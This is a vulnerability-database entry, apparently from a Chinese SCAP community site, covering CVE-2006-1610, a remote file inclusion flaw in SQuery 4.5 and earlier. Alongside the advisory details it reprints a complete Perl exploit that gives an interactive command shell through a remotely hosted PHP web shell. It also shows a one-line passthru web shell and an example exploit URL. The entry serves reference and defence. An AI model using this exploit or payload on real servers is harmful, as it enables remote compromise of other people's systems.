CVE-2006-1610
CVSS5.1
发布时间 :2006-04-04 06:04:00
修订时间 :2011-08-22 00:00:00
NMCOES    

[原文]PHP remote file inclusion vulnerability in lib/armygame.php in SQuery 4.5 and earlier, as used in products such as Autonomous LAN party (ALP), allows remote attackers to execute arbitrary PHP code via a URL in the libpath parameter. NOTE: this only occurs when register_globals is disabled.


[CNNVD]SQuery gore.php远程文件包含漏洞(CNNVD-200604-038)

        Query是一个基于Web的用PHP实现的网络游戏服务器及用户管理模块。
        SQuery的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
        SQuery的gore.php脚本对用户提交的libpath参数没有做充分的检查过滤,攻击者可能利用此漏洞使gore.php脚本包含远程服务器上的PHP代码执行。

- CVSS (基础分值)

CVSS分值: 5.1 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: HIGH [漏洞利用存在特定的访问条件]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1610
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-1610
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200604-038
(官方数据源) CNNVD

- 其它链接及资源

http://xforce.iss.net/xforce/xfdb/25605
(UNKNOWN)  XF  squery-file-include(25605)
http://www.vupen.com/english/advisories/2006/1204
(VENDOR_ADVISORY)  VUPEN  ADV-2006-1204
http://www.securityfocus.com/bid/17434
(UNKNOWN)  BID  17434
http://www.securityfocus.com/archive/1/archive/1/429611/100/0/threaded
(UNKNOWN)  BUGTRAQ  20060401 SQuery <= 4.5 Remote File Inclusion Exploit
http://www.osvdb.org/24400
(UNKNOWN)  OSVDB  24400
http://secunia.com/advisories/19482
(VENDOR_ADVISORY)  SECUNIA  19482
http://milw0rm.com/exploits/1629
(UNKNOWN)  MILW0RM  1629

- 漏洞信息

SQuery gore.php远程文件包含漏洞
中危 代码注入
2006-04-04 00:00:00 2006-04-25 00:00:00
远程  
        Query是一个基于Web的用PHP实现的网络游戏服务器及用户管理模块。
        SQuery的实现上存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
        SQuery的gore.php脚本对用户提交的libpath参数没有做充分的检查过滤,攻击者可能利用此漏洞使gore.php脚本包含远程服务器上的PHP代码执行。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.squery.com/

- 漏洞信息 (1629)

SQuery <= 4.5 (libpath) Remote File Inclusion Exploit (EDBID:1629)
php webapps
2006-04-01 Verified
0 uid0
N/A [点击下载]
#!/usr/bin/perl
##
# SQuery <= 4.5 Remote File Inclusion Exploit
# Bug Found By uid0 code by zod
## 
# (c) 2006
# ExploiterCode.com
##
# usage:
# perl squery.pl <location of SQuery> <cmd shell location> <cmd shell variable>
#
# perl squery.pl http://site.com/SQuery/ http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# hai to: nex, kutmaster, spic, cijfer ;P, ReZeN, wr0ck, blackhat-alliance.org, and everyone else!
#
# special shout to [ill]will!
##
# Contact: www.exploitercode.com irc.exploitercode.com uid0@exploitercode.com
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
	print "[shell] \$";
while(<STDIN>)
        {
                $cmd=$_;
                chomp($cmd);
         
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'lib/armygame.php?libpath='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
	{print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.+)<br.\/>.<b>Fatal.error/)


{
	$finreturn = $1;
	$finreturn=~ tr/[ê]/[\n]/;
	print "\r\n$finreturn\n\r";
	last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " 	   *SQuery <= 4.5 Remote File Inclusion Exploit*\r\n";   
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl squery.pl <location of SQuery> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to SQuery ex: http://www.site.com/SQuery/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "		           Bug Found by uid0\r\n";
 print "	www.exploitercode.com irc.exploitercode.com #exploitercode\r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-04-01]
		

- 漏洞信息

24400
SQuery armygame.php libpath Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

SQuery contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to armygame.php (not an underlying library) not properly sanitizing user input supplied to the 'libpath' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-04-01 Unknow
2006-04-01 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

- 漏洞信息

SQuery LibPath Parameter Multiple Remote File Include Vulnerabilities
Input Validation Error 17434
Yes No
2006-04-10 12:00:00 2006-07-25 09:47:00
uid0 is credited with the discovery of these vulnerabilities.

- 受影响的程序版本

SQuery SQuery 4.5
Autonomous LAN Party Autonomous LAN Party 0

- 漏洞讨论

SQuery is prone to multiple remote file-include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker can exploit these issues to include an arbitrary remote file containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and the underlying system; other attacks are also possible.

Versions 4.5 and prior are affected.

- 漏洞利用

Attackers can exploit this issue via a web client.

The following URI has been provided:

http://www.example.com/path/include/SQuery/gameSpy2.php?libpath=http://www.example.com

- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: vuldb@securityfocus.commailto:vuldb@securityfocus.com.

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站